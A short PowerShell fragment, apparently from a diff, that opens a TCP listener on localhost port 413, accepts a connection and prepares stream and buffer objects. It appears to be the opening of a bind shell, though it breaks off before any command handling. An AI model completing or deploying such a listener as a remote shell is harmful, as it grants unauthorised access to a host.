4d4c

$socket = new-object System.Net.Sockets.TcpListener('127.0.0.1', 413);
if($socket -eq $null){
    exit 1
}
$socket.start()
$client = $socket.AcceptTcpClient()
write-output "[*] Connection!"
$stream = $client.GetStream();
$writer = new-object System.IO.StreamWriter($stream);
$buffer = new-object System.Byte[] 2048;